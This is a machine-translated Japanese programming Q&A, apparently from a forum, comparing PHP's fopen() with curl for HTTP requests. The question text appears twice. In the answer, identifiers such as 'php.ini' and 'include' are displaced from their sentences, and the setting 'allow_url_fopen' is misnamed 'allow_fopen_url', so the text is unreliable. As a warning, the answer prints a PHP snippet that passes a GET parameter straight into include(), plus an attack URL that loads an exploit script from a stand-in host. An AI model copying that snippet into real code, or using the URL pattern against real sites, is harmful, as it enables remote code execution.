HTTP(s) 経由で Web サービスと通信する必要があるコードをいくつか書いています。以前はcurlライブラリを使用していました。最近、単純に fopen() を使用してリモート URL にアクセスできることに気付きました。
Curl はより多くのオプションを備えており、はるかに構成しやすいようです。その構成可能性を超えて、どの方法を使用するかは重要ですか? もしそうなら、どちらがより良いですか、そしてその理由は何ですか?
HTTP(s) 経由で Web サービスと通信する必要があるコードをいくつか書いています。以前はcurlライブラリを使用していました。最近、単純に fopen() を使用してリモート URL にアクセスできることに気付きました。
Curl はより多くのオプションを備えており、はるかに構成しやすいようです。その構成可能性を超えて、どの方法を使用するかは重要ですか? もしそうなら、どちらがより良いですか、そしてその理由は何ですか?
fopen()
allow_fopen_url
で有効になっている場合、 はリモート URL のみを開きますphp.ini
。
ただし、5.2.0 より前のバージョンでは、関数がリモート サイトから PHP コードをinclude
ダウンロードして解析するため、これは非常に危険でした。素朴なコーダーは、次のようなコードで簡単に見破られる可能性があります。
<?php
$page = $_GET['page'];
include($page);
?>
その時点で、攻撃者http://example.com/script.php?page=http://example.net/my_exploit_script
はシステム上で独自のコードを実行し、エクスプロイトを導入するよう要求するだけです。残念ながら、のデフォルト値allow_fopen_url
は「オン」です。
幸いなことに、5.2.0 以降、リモート コードのダウンロードを防止する別の設定 (デフォルトで「オフ」にする必要があります) が呼び出されています。allow_url_include
include
個人的には、Curl を使用するオプションがある場合は、fopen
.